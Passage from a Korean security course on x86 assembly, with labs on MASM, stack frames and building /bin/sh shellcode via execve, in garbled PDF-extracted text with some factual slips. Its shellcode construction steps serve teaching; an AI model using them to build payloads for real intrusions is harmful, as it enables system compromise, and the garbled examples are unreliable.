AAA ASCII adjust for add덧셈 결과의 AL 값을 UNPACK 10진수로 보정한다

DAA Decimal adjust for add 덧셈 결과의 AL 값을 PACK 10진수로 보정한다

AAS ASCII adjust for subtract뺄셈 결과의 AL 값을 UNPACK 10진수로 보정한다

32108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

DAS Decimal adjust for subtract 뺄셈 결과의 AL 값을 PACK 10진수로 보정한다

MUL Multiply(Unsigned) AX 와 피연산자의 곱셈 결과를 AX 또는 DXAX 에 저장한다

IMUL Integer Multiply(Signed) 부호화된 곱셈을 수행한다

AAM ASCII adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정한다

DIV Divide(Unsigned)AX 또는 DXAX 내용을 피연산자로 나눈다

몫은 AL 또는 AX 에 저장하고 나머지는 AH 또는 DX 에 저장한다

IDIV Integer Divide(Signed) 부호화된 나눗셈

AAD ASCII adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다

CBW Convert byte to word AL 의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다

CWDConvert word to double word

AX 의 워드 데이터를 부호를 포함하여 DXAX 의 더블 워드로 변환한다

33108

어셈블리어의 기본 명령 데이터 전송 명령 메모리 범용 레지스터 세그먼트 레지스터로 참조되는 주소에

존재하는 데이터 전송

bull MOV(Move) 데이터 이동할 때 사용

BP 의 현재 값이 0x10000004 라면 BP+8은 0x1000000C

0x1000000C 에 있는 값이 1024므로 AX 에는 1024 가 입력

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용 예

MOV AX [BP+8]

BP 의 주소에 8 더해진 주소에 있는 데이터

값을 AX 에 대입한다

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

